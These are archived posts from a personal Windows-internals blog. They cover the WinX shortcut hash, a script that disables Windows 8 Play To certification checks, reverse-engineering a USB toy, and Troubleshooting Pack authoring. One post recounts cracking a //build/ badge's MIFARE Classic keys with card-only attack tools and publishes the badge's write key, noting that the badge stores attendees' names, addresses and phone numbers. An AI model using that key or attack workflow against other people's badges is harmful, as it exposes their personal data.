The third ingredient is simply a hard-coded chunk of text, or a salt if you will, to keep things interesting. That string is, literally, “Do not prehash links. This should only be done by the user.”

With these three strings in hand, Windows then glues them together, lowercases everything, and runs them through the HashData function. But you’re probably wondering at this point, what does it compare to?

Let’s shift our focus to .lnk files. We know them as shortcuts to things. But they’re officially called Shell Links and can store a lot of information on other data objects in Windows. More specifically, they support storing a structure of data called a PropertyStoreDataBlock that acts as a container for arbitrary string or numeric key/value pairs. Yep, the “WinX hash” is stored in here. If you’re curious, the key can be defined as such:

DEFINE_PROPERTYKEY(PKEY_WINX_HASH,

0xFB8D2D7B, 0x90D1, 0x4E34, 0xBF, 0x60, 0x6E, 0xAC, 0x09, 0x92, 0x2B, 0xBF, 0x02);

So to tie it all together, Windows – the Shell specifically – iterates through the .lnk files in each GroupN folder; opens them up; pulls out and concatenates the target path, args, and an arbitrary string; then finally hashes the result. This hash is then compared with the one stored in the .lnk to determine if it’s approved. Rinse and repeat.

If you’re interested in stuffing items into that menu, I wrote a tool to mark your shortcuts as approved. (The source code is on Github, if you're interested.)

NOTE: The WinX menu doesn’t seem to handle architecture-dependent environment string expansion very well, so shortcuts to %ProgramFiles% may not work (e.g. Internet Explorer 64-bit). I suspect this is a WONTFIX given it’s not designed to work with your own shortcuts.

Tinkering with uncertified Play To devices on Windows 8

2013-02-02T00:00:00Z

Microsoft supports a feature in Windows called Play To that allows you to stream music, video, and photos from your computer to TVs or speakers on your home network. But anyone who has tried using Play To knows it can be an extremely frustrating experience, thanks in part to brittle OEM implementations of the underlying Digital Living Network Alliance (DLNA) spec.

As part of its continuing DLNA compliance push, Windows 8 now requires that Play To devices be certified before use in the new Windows Store application model. (But not via desktop applications.) That is, an uncertified device will not appear in the Devices charm from a Windows Store app (e.g. Video). But for those of us geeks with flaky sort-of-working DLNA devices, we're out of luck.

Or were, anyway.

As part of a Powershell learning experience, I wrote a script that suspends the aforementioned checks in Windows 8 and offers facilities to generate the required device metadata.

Here's a quick run through:

Read the readme, just in case.
Download the latest playto-tools script + dependencies from my repository.
Open an administrative instance of Powershell, in the directory holding all the downloaded files.
Dot source the script. (. .\playto-tools.ps1)
Call Suspend-CertifiedDeviceChecks to patch the Device Property Manager to accept unsigned metadata.
Call Get-MediaRenderers to list the media renderers on your network. You need to grab the hardware ID of the device you wish to enable Play To for.
Pass this hardware ID (and the -Install switch) to New-DeviceMetadata to generate and install metadata into the Device Metadata Store.

In my case, I was testing with one device and was able to string everything together:

New-DeviceMetadata (Get-MediaRenderers | Select -First 1 -exp HardwareID) -Install

Alternatively, you could also boot Windows in test mode.

Dissecting the //build/ Badge (Part 2)

2012-12-07T00:00:00Z

A little under a month ago, I dissolved Paul Thurrott's //build/ badge to reveal an embedded NFC integrated circuit (IC). But I had to stop short of actually reading its data due to the lack of a proper NFC reader. (Windows Phone 8 doesn't give you raw NFC access.) I purchased an ACS ACR122T and after weeks of waiting and experimenting I can now complete the story.

So, let's start off with a correction. In Part 1, I incorrectly guessed that the IC was a MIFARE Ultralight. Turns out, it's an older MIFARE Classic 1K complete with key-based security. But before I wrote the IC off as encrypted and inaccessible, I learned that these ICs were compromised back in 2008 -- with a card-only attack following in early 2009.

Let's take a brief moment to talk about these keys.

Without getting too technical, these NFC ICs have chunks of data. Each chunk of data can be secured via a pair of keys -- A and B. Each of these keys can be used separately to access the data it protects. (For example, you may give a read-only key A to conference vendors, while maintaining the read-write key B for administrative purposes.)

Back to the badge.

Without access to an authorized //build/ badge reader, I had to use a software implementation (mfcuk) of the card-only attack I mentioned earlier to recover keys A and B. After weeks of painfully fiddling with the timings of the attack, I successfully recovered key B on one chunk of data. (I then made quick work of the rest of the keys/chunks using another attack [mfoc].)

Key A was recovered but isn't worth sharing because it appears to be unique per badge. (Tested with two badges.) Key A is usually programmed as a read-only key -- presumably for vendors on the conference floor. But given its uniqueness I'm confused as to how vendors would obtain a valid key at scan time. Perhaps the readers were networked to a key management system? Or maybe Key A is computed at runtime using a mash of the badge unique ID and a shared secret? Or maybe there's a handful of keys per attendee group (e.g. media, student, presenter). What do you think?

Key B is static, thankfully. On two badges I examined, Key B was given write permissions card-wide. So I named it The //build/ Badge Administrative Key. That key is f4a9ef2afc6d.

Using the Badge Administrative Key, I dumped out the entire //build/ badge. Surprisingly, it's not empty! It contains the following information:

Two sets of identifiers(?) (6 digit, 4 digit) (e.g. 756552, 1269)
Badge Full Name
Badge Title
Full address
Phone number
Email address
Affiliation label, if applicable (e.g. Media)

So if you're planning to toss the badge into the trash, you may want first wipe the IC. But if you're a developer looking to dip into NFC, you may want to salvage the tag and format it to NDEF specs so you have something Windows Phone compatible to play with.

Regardless, case closed.

Dissecting the //build/ Badge (Part 1)

2012-11-09T00:00:00Z

If you were at //build/ this year, you probably remember tapping your badge on a reader before picking up your free Surface and Nokia Lumia 920 devices. It turns out, the badge hides NFC tech as opposed to that boring ol' RFID stuff.

Tear down photos follow.

I managed to steal a badge from some random chump.

Acetone made quick work of the plastic badge... Wait, what's that?

NXP MIFARE Ultralight NFC IC

But what secrets does it store within? Sadly, the tag doesn't appear to have been NDEF formatted so reading it with Windows Phone is out. (It is detected just fine, though.) I ordered an ACR122T reader/writer to lend a hand so check back in a week or so for the big reveal.

Disabling animations in Office 2013

2012-07-21T00:00:00Z

This is a legacy post imported from my previous Within Windows blog.

Back in April, Paul Thurrott wrote about an awful typing animation present in Office -- particularly Word -- "15" Technical Preview. While this animation has been tweaked and improved in the new Office 2013 Customer Preview, some of you may wish to turn it off.

You can do so by navigating to HKCU\Software\Microsoft\Office\15.0\Common\Graphics and creating a DWORD value named DisableAnimations. Set its data to 1 and you're set.

The WinX Menu and its hashing algorithm revisited

2012-06-01T00:00:00Z

This post first appeared on Within Windows on June 1, 2012.

In an April post, I covered the new "Win-X" menu, named after the keyboard shortcut used to access it, and how it features a hashing algorithm to determine if a shortcut was approved for display. I also offered a tool that would sign shortcuts, upgrading them the to coveted approved status.

This won't be a regurgitation of all that again. Instead, I will simply cover some changes made to the menu in Windows 8 Release Preview. (And more importantly, offer an updated version of hashlnk!)

First of the notable changes to the WinX menu in Windows 8 Release Preview is the unfortunate removal of the Network Connections shortcut. This shortcut provided a sneaky backdoor to the legacy Network Connections area, offering immediate access to network interfaces -- you know, the very items we stumble around looking for in that abhorrent Network and Sharing Center. But on the flip side, Network Connections is becoming less and less useful, thanks to better software (e.g. Windows, network drivers/stack) and the cluttering up of pseudo-interfaces like Virtual Wifi NICs, VMware and Hyper-V virtual switches and complex VPN thingamajigs. No worries.

The more important change, however, was to its hashing algorithm that sussed out whether a shortcut was approved for display in the menu. I created a tool for folks to upgrade their own shortcut files (.lnk) however it broke with the new Windows release. Let's dig a little deeper into why.

In previous versions of Windows 8, WinX would grab a shortcut, pull out the target path and arguments, hash it, and compare with an embedded value in the shortcut. This worked great, until shortcuts with environment variables were used. (I noted this as a bug in my previous post.)

For example, let's consider a shortcut pointing to %SystemRoot%\Explorer.exe. In the process of examining the shortcut, the WinX menu would expand this path -- that is replace any variables present with values fed from the OS. On a 64-bit system, the path would likely expand to C:\Windows. In some rare cases, however, this could expand to possibly C:\Winnt or even C:\Winderz for the haters out there. (The drive letter in previous versions of the algorithm was ignored.) This means the hash could be viewed as invalid and not render in the WinX menu; that kind of runtime inconsistency just won't fly in Windows.

So it was fixed.

But how?

Nothing magic really. WinX now takes the path and runs it through a quick search and replace function. It looks for matches using OS backed "folder IDs", specifically FOLDERID_ProgramFiles, FOLDERID_System, and FOLDERID_Windows. On a typical 64-bit system, these IDs would point to the values "C:\Program Files", "C:\Windows\System32", and "C:\Windows". If a match is found, WinX strips this part of the path out and replaces it with the folder ID's GUID.

To continue our example above, %SystemRoot%\Explorer.exe would expand to C:\Windows\Explorer. Having FOLDERID_System in the path, it would then ultimately transmogrify to {F38BF404-1D43-42F2-9305-67DE0B28FC23}\Explorer.exe.

That's it.

If you want to re-sign your shortcuts to now work on Windows 8 Release Preview, I updated the hashlnk tool bringing it to 0.2.0.0. Both the binaries and code at on GitHub.

Feedback is very welcome.

The case of the broken Hello Kitty IZMO toy (Part 2 of 2)

2011-08-13T00:00:00Z

This post first appeared on Within Windows on August 13, 2011

Recap

So, back in Part 1, I managed to find software for the obscure Hello Kitty IZMO USB toy and patched it to sort of work on Windows 7. While the toy lit up at start, it didn’t quite function correctly – that is, every time I pressed keys on the keyboard, nothing happened. (This worked just fine on my Windows XP virtual machine.)

Y U NO SEE MY KEYS?

Before I could move on, I had to figure out how this software captured keystrokes. Scanning through the executable’s imports, I came across SetWindowsHookEx. SetWindowsHook is an old school API used to tap into various system events; it supports a number of hook types including those involving the keyboard (WH_KEYBOARD) and mouse (WH_MOUSE).

I set a few breakpoints, all on calls to SetWindowsHookEx, and only one was actually used. It looked like so:

SetWindowsHookExA(WH_JOURNALRECORD, myJournalRecordProc, GetModuleHandle(NULL), 0 /* dwThreadId */);

I was puzzled by the use of WH_JOURNALRECORD here, given the toy only monitors keyboard input. Perhaps the developers, at some point, were looking to capture mouse input as well. Or maybe this was a cut/paste job. Regardless, I wasn’t going to spend time changing it. (It would have required some manual assembly writing work.) Instead I focused on the GetLastError value being returned to me -- ERROR_ACCESS_DENIED.

We need more power

Elevating the application did no good. I was stuck. Out of options at the time, I decided to disable User Account Control (UAC) on my system. The program started working, holy assembler Batman! But, I was confused – why was this thing working with UAC off, but not when elevated? It turns out, disabling UAC also has a collateral impact on the state of another Windows feature called User Interface Privilege Isolation (UIPI). Introduced back in Windows Vista days, along with UAC, UIPI acts as an insulating layer of protection for processes with higher privileges. In other words, this layer prevents the little guys like Calculator from sending special messages to security-critical processes like an elevated Command Prompt preventing a specific type of evil – shatter attacks. (This insulting layer is what prevents you from dragging files onto an elevated Notepad instance, for example.)

Additional research into UIPI led to me a blurb on MSDN explaining what breaks with UIPI turned on:

A lower privilege process cannot:

Perform a window handle validation of higher process privilege.
SendMessage or PostMessage to higher privilege application windows. These application programming interfaces (APIs) return success but silently drop the window message.
Use thread hooks to attach to a higher privilege process.
Use Journal hooks to monitor a higher privilege process.
Perform dynamic link-library (DLL) injection to a higher privilege process.

Okay, so I knew UIPI was the culprit here... but I thought: How do I workaround this? Or more importantly, promote the Hello Kitty application to a first class Windows citizen? After hours of stumbling around on MSDN, I came across a useful attribute you can throw into your application’s manifest – uiAccess. You may have seen a manifest before, with a segment that looked something like this:

<requestedExecutionLevel uiAccess="false" level="requireAdministrator" />

It turns out, uiAccess is a special attribute that whitelists the application, letting it pass through UIPI’s gates system-wide. (This is typically reserved for rare UI assistive technology, like screen readers.) Okay, so I created a plain manifest, set uiAccess to true, and fired up Hello Kitty.exe. Still nothing.

RTFM

The software still didn’t work, with my skim of the documentation to blame. I re-read the page, this time with a discerning eye, and came across the following warning (emphasis mine):

Important: Applications with the uiAccess flag set to true must be Authenticode signed to start properly. In addition, the application must reside in a protected location in the file system. \Program Files\ and \windows\system32\ are currently the two allowable protected locations.

I remember thinking, could they have made this more difficult? Thankfully, I already had a legit code-signing certificate ready to rock and roll. (I've signed various titles, including Geosense for Windows.) A few minutes with signtool.exe and the binary was digitally signed. I copied the relevant binaries (executable, library, sound file) to a new folder, as the instructions stated, within \Program Files (x86), crossed my fingers, and tried again. (Actually, the documentation claims Program Files\ and \System32 were the only two valid folders. This is not the case on x64 systems. Both Program Files\ and Program Files (x86)\ work in this case.)

It worked.

Summary

In this case, I:

... came across supporting software bundled with InstallShield 3.0 (16-bit executable)

... unpacked the InstallShield special cabinets manually

... virtualized Windows XP to ensure the device worked

... disassembled TenxHID.dll, to discover there was a change to Windows that affected the way we interact with HID devices

... disassembled Hello Kitty.exe to discover its use of Journal Hooks to receive keyboard/mouse input

... nearly gave up and disabled UAC on my system, revealing its impact on the application

... discovered UIPI shuts down if UAC is disabled

... discovered uiAccess whitelists applications for UIPI pass-through and requires you follow a very specific set of rules for use

... learned more about solving application compatibility problems

The case of the broken Hello Kitty IZMO toy (Part 1 of 2)

2011-08-09T00:00:00Z

This post first appeared on Within Windows on August 9, 2011.

Getting your feet wet

A month or so ago, my girlfriend pinged me about a toy her sister had collected from a yard sale. The toy was a USB-based Hello Kitty figurine that made noise when you typed. She had plugged it into her Windows 7 PC and encountered a slight problem: It didn’t do anything. This thing needed software. After an Internet deep dive, I discovered and downloaded the drivers on Cables Unlimited cached site at about 1 kilobyte/second. I carefully extracted the ZIP and ran Setup...

I remember experiencing a number of emotions at this point, but the only one that made an impression (on my desk) was rage. Someone had packaged the software using an old school version of InstallShield (3.0) that produces 16-bit stubs. After calming down, I decided to go ahead and rip out the binaries from its cabinet files using an equally as old tool called WinPack.

With files in hand, I was surprised at what little there was to play with. There was a documentation attempt, an icon, a little notification area program, a sound file, and a supporting DLL. I plugged the toy into the PC and ran the program. Other than putting a cutesy icon in my notification area, nothing happened. Sweet. Time to debug!

I first threw the executable into IDA Pro. It was immediately obvious it only handled UI operations. The actual work was delegated to TenxHID.dll. I then started analyzing the library. TenxHID.dll contained three exported functions (four if you count DllEntryPoint):

DeviceIni
ReadBuffer
WriteBuffer

Focusing first on DeviceIni, I followed the various calls around and drew a mental picture of how this thing worked. It first looked for the HID device using HidD_GetHidGuid, SetupDiGetClassDevsA, SetupDiEnumDeviceInterfaces and SetupDiGetDeviceInterfaceDetailA APIs. Then, using WriteFile, it communicated with the device over a pipe. With my debugger, I set a breakpoint on various calls to determine a] if the library was finding the device and b] if WriteFile succeeded.

Surprisingly, the library was finding the device just fine. No problems there. But WriteFile was failing, due to an invalid HANDLE (hFile) being passed in. Tracing my way backwards, I found and set a breakpoint on the related CreateFile. A re-run through the debugger confirmed CreateFile was failing with an ERROR_ACCESS_DENIED.

Whoa, hold on there

Before I continued, I decided to take a few steps back. I had broken one of my rules when dissecting software – observe the software in an operating manner first. I set this rule because more often than not, the very software I’m tinkering with doesn’t work in the intended environment, let alone mine.

I fired up VMWare and installed Windows XP. After fighting VMWare’s broken Windows 7 SP1/USB support (a story for another day), I was up and running. (Any virtualization software would have worked here, although I haven’t tested Hyper-V w/ RemoteFX and USB redirection yet.) I plugged in the device, installed the software and the device was spinning around making lots of noise. Okay, cool.

Back to digging

I shifted my focus back to why this call was failing. The call looked similar to:

CreateFileA(lpFileName, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 0, OPEN_EXISTING, 0, 0);

Although the inputs worked on Windows XP, I decided to start playing with the parameters. I set a breakpoint on CreateFile and started altering values before the call. Removing the GENERIC_READ did the trick, but why?! I couldn’t find any documentation on this but I suspect Microsoft made a tweak to the way Windows handles communication to and from HID devices. Using USBView, I verified the toy exposed two USB endpoints that were both receive-only.

Endpoint Descriptor:
bEndpointAddress:    0x81  IN
Transfer Type:       Interrupt
wMaxPacketSize:      0x0008 (8)
bInterval:           0x0A

Endpoint Descriptor:
bEndpointAddress:    0x82  IN
Transfer Type:       Interrupt
wMaxPacketSize:      0x0008 (8)
bInterval:           0x0A

So it makes sense that Windows would prevent READ operations to occur here; there isn’t an OUT endpoint available to accommodate a READ request. But I’m not sure why Microsoft wouldn’t just let ReadFile fail – the very behavior the library was looking to handle. (Insight into this change would be appreciated.)

Anyway, having confirmed the toy has no outputs I simply altered the library’s assembly (with a hex editor) and changed the flags from 0xC0000000 (GENERIC_READ | GENERIC_WRITE) to 0x40000000 (GENERIC_WRITE). I re-loaded the executable and the device spun up and made its introductory noise!

But wait, I pressed a few keys on my keyboard and nothing happened... (to be continued)

Crash course on authoring Windows 7 Troubleshooting Packs

2009-01-12T00:00:00Z

This post first appeared on Within Windows on January 12, 2009.

New to Windows 7 is the Windows Troubleshooting platform. This platform allows software developers to develop Troubleshooting Packs that automate the troubleshooting and resolution of problems without having to resort to painful technical support queues or documentation runs. In a nut shell, a software developer writes a bunch of PowerShell scripts to identify and resolve problems then packages them up and distributes the pack to end-users.

At the end of this step-driven course, you will have used the Microsoft Troubleshooting Pack Builder (TSPBuilder), written some PowerShell scripts, and learned of a way to distribute your compiled pack.

Step 0: Watch PC50 presentation, learn some PowerShell

Rather than rewrite everything covered by Ricky Buch, a Program Manager on the Windows Instrumentation Team, I’m going to make watching/listening to this presentation a mandatory prerequisite. I apologize in advance to the hearing impaired, Microsoft isn’t in the habit of captioning their video content.

If you have existing coding experience, truck on. If you don’t, you may want to take a time out and watch a webcast on PowerShell.

Step 1: Get the right tools

You will need to install the Windows 7 beta SDK and be on Windows 7. Pretty standard stuff, both free. A number two pencil will be provided for the final exam.

Step 2: Identify the problem(s) you want to fix automatically

Don’t make the same mistake I did and jump right into the building process without having a clear and written understanding of the problems you want to detect and fix. This will save you hours of frustration later and make you feel warm and fuzzy for having a plan on paper.

Step 3: Carve out the package

Fire up TSPBuilder.exe, located in [SDK Installation Path]\Bin\TSPBuilder. You will be presented with a Create/Open dialog. Unfortunately, in this build of TSPBuilder, there is no blank template so we will build off of the provided sample project. Review and change the package name and location, then click the Create button.

Tip: The name of this package should reference the overall goal of your Troubleshooting Pack, not a specific problem you will be resolving. This generalization will allow you to extend the supported problem list without search and replace headaches later.

This is the main user interface that lets you specify all the logic and metadata to be associated with the pack. On the left, you have the Project Explorer pane. This pane displays the root project node, all the root causes (or problems) this pack supports, the associated Troubleshooter and finally any Interactions we need to make with the user. I won’t be getting into Interactions this go around. On the right, you have properties and values relative to the selected node on the left.

So what the heck is all this?

Project – This is your Troubleshooting Pack. You will specify authoring metadata, such as versioning, supported platforms, and a description on this node.
Root Cause – Each Troubleshooting Pack has N number of root causes (of failure). You can think of these as problems, too. During the execution of our Troubleshooter script, we will alert the Troubleshooting Engine of root causes we detect via a fictitious alpha-numeric identifier. Each Root Cause has an associated resolution, or Resolver, and steps to verify the problem was resolved, or a Verifier.
... Resolver – An action/script that will resolve the associated root cause of failure.
**... Verifier – **An action/script that will verify the associated root cause of failure was resolved. Confusingly, Verifiers are also used to detect Root Causes. It is easier to think of Verifiers as “detectors”.
Troubleshooter – This is the entry point of your Troubleshooting Pack. A Troubleshooter script will house logic to execute N number of Verifiers to detect Root Causes. Detected Root Causes will be presented to the user and ultimately be resolved via Resolvers and verified via Verifiers again.

Terminology out of the way, go ahead and delete/modify the sample project nodes ensuring you have at least one Root Cause. I recommend customizing the package in the order of its execution -- that is Troubleshooter, Root Cause(s), Verifier, and finally Resolver. Don’t worry about creating script files right now. Just specify the filenames.

Tip: Specify IDs with the proper prefix to ensure things are easier to script later. TS for Troubleshooters/Verifiers, RS for Resolvers, and RC for Root Causes. Verifiers are the odd ball here because they’re executed by the main Troubleshooting script at multiple times (to detect and to verify). Changes in the naming would be welcome before RTM.

Step 4: Write the scripts

The Troubleshooter Script

With the package metadata out of the way, we can now focus on writing the logic behind our Troubleshooting Pack. Start with our entry point, the Troubleshooter, and click the Launch Script Editor button. Notepad will launch and ask if you would like to create the script. Click the Yes button then close Notepad. Afterwards, click the Launch Script Editor button again and the proper PowerShell Integrated Scripting Environment (ISE) will fire up.

As mentioned several times already, the Troubleshooter is our entry point in this pack. This script should be relatively simple; it should execute each Verifier script to determine if there’s a problem or not. In this case, I wrote a line of code that just executes the Verifier that detects whether or not Programming Mode is enabled.

The Verifier Script

Following the flow of execution, move on to the first Verifier script. This script will detect a single problem and report to the Troubleshooting Engine whether or not a problem was detected and should be presented to the user for resolution. Important PowerShell cmdlets in this script are Write-DiagProgress and Update-DiagRootCause.

Write-DiagProgress- This cmdlet allows you to provide status information back to the user via the Troubleshooting Wizard UI.

Update-DiagRootCause - This cmdlet is used to report back to the Troubleshoot Engine whether or not a particular problem (identified by ID) was detected.

In my project, the script is pretty simple. I simply inform the user as to what I’m doing, check the value of the layout DWORD in the registry, and report back whether or not it’s set to the value 2. The expression in parenthesis is evaluated to either $true or $false and is passed in as the value of the Detected argument.

The Resolver Script

Finally, move on to the Resolver script. This script will only execute if the Troubleshooting Engine was informed the associated Root Cause was detected and if the user specifies to fix the problem via the Troubleshooting Wizard (the default is yes). In my project, the script simply reports a status to the user and sets the registry DWORD value’s data to 2. After execution of this script, the Troubleshooting Engine will re-run the Verifier script to verify the fix.

Step 4: Build and test

At this point, you have created a Troubleshooting Pack project, specified metadata to be associated with the pack, and created scripts to detect Root Causes that will be corrected with Resolvers and verified with Verifiers. At this point, all the hard work is done.

Compiling and testing Troubleshooting Packs in TSPBuilder is easy. Simply click Build -> Compile. TSPBuilder will automatically gather all your scripts and digitally sign your pack with a test signature (required).

Tip: After you verify and validate (V&V) your Troubleshooting Pack, make sure you re-build the pack with a real certificate. Deploying packs with test signatures is embarrassingly sloppy, requires users to manually trust certificates, and may not be supported in Windows 7 final.

If all goes well, click **Build **-> **Run **to test your shiny new pack (or manually double-click the output package). The Troubleshooting Wizard UI should appear with the metadata you specified in Step 3.

Congratulations, you’ve built your first Troubleshooting Pack! Sadly, everything you just learned will be completely changed in the final product... just kidding.

Loose end #1: Debugging scripts

As your Troubleshooting Packs become more and more complex, the need to test scripts on-demand, in the PowerShell ISE, increases. Out of the box, the Troubleshooting Engine cmdlets do not exist. Thankfully, you can add them in by executing TestModeSetup.ps1 in an elevated Powershell environment, an exercise left for readers.

Loose end #2: Testing/deploying onto other machines

As mentioned above, TSPBuilder automatically generates a test certificate and signs your pack with it. Behind the scenes it also imports this certificate into your trusted certificate store enabling you to test the pack immediately. If you want to test the pack separately on another Windows 7 machine, you will need to fish out the generated .cer, deploy it with your package, and import it into the trusted store manually.

Loose end #3: Documentation

As with most pre-release/beta software, documentation is scarce. In fact, there is no documentation whatsoever in the SDK regarding TSPBuilder or Troubleshooting Pack authoring in general so you will need to adopt the figure-things-out-by-clicking-buttons approach until MSDN is refreshed.

Blog: Rafael Rivera

Device Region and Integrated Services Region Policy in Windows

Windows Insider Program channel programming update

Generating metadata for use with the windows crate for Rust

Scaffolding

Metadata project

Rust Crate: Tooling

Rust Crate: DIA SDK

Additional Tasks

See also

Revision history

Programmatically determining if your UWP app can use WLAN data in China

ECS LIVA Mini Box QC710 technical details

Help wanted

Photos

Documentation

Quick Start

Manual

Specifications

External

Internal

Software

Windows Recovery

Mount Windows Partition

Replace Windows Installation

Complete Windows Installation

Pairing a stubborn Reolink RLC-511W camera with Windows 10

Diagnosis

Quick Fix Engineering

Generating valid tokens to access Limited Access Features in Windows 10

Tips for IKEA NORDLI Headboard Installation

Download Windows Admin Center directly from Microsoft

How To: Specify Application-Specific Direct3D Flags

How To: Get Consumer GPUs Working In Hyper-V Virtual Machines

You will need

Check for IOMMU support

Set up Hyper-V Discrete Device Assignment (DDA)

Disable Access Control Services (ACS) and unique RID checks (optional)

Patch graphic card drivers

Typing text on a virtual machine keyboard via PowerShell CIM Cmdlets

CVE-2020-0765: Quick proof of concept

Detect if your process is running in a Remote Desktop Services client session

Enumerating registered WSL distributions

Determine if your app is in a Focus Assist profile's priority list

Notes From Reverse Engineering A Mono AOT Compiled App On iOS

Challenge: Application package (iOS App Store Package) is FairPlay DRM encrypted

Challenge: Application is fully aot-compiled down to armv7/arm64

Challenge: Application does not consume system proxy configuration

Challenge: Application signs all outgoing requests / web service validates all signatures

Microsoft Seeing AI API v1

Endpoints

Get product name from barcode digits

Get text content from document photo

Get facial attributes from image of face(s)

Get text content from handwritten text

Get text description of a scene

Detect when a TV is no longer connected to the Xbox via WinRT

Uncontrolled Search Path Element in Windows 10 IoT Dashboard

tl;dr

Summary

Details

Repro Steps

Attacker Machine Preparation

Victim Machine Preparation:

Mitigation

Timeline:

Windows 10 User Initiated Feedback (UIF) On Demand (OD) Diagnostic Scenarios

Monitoring DiagTrack HTTPS traffic

Unblock NVIDIA Control Panel Store App

Import Your Own MP4s Into GoPro Quik

Enable Windows Kernel Debugger During Setup

Troubleshooting Appx/Msix Signing with Appx Subject Interface Package (SIP) logging

Enable Acrylic Effects in Hyper-V VM

Fixing Meson Packaging to Generate Launcher Executable

Conversion of Teradata Express VMware Image for Hyper-V use

Using Remote Desktop Services in Containers

Warnings

Booting ARM64 builds of Windows 10 in QEMU

Tips

Adding Acrylic Blur to your Windows 10 (Redstone 4) desktop apps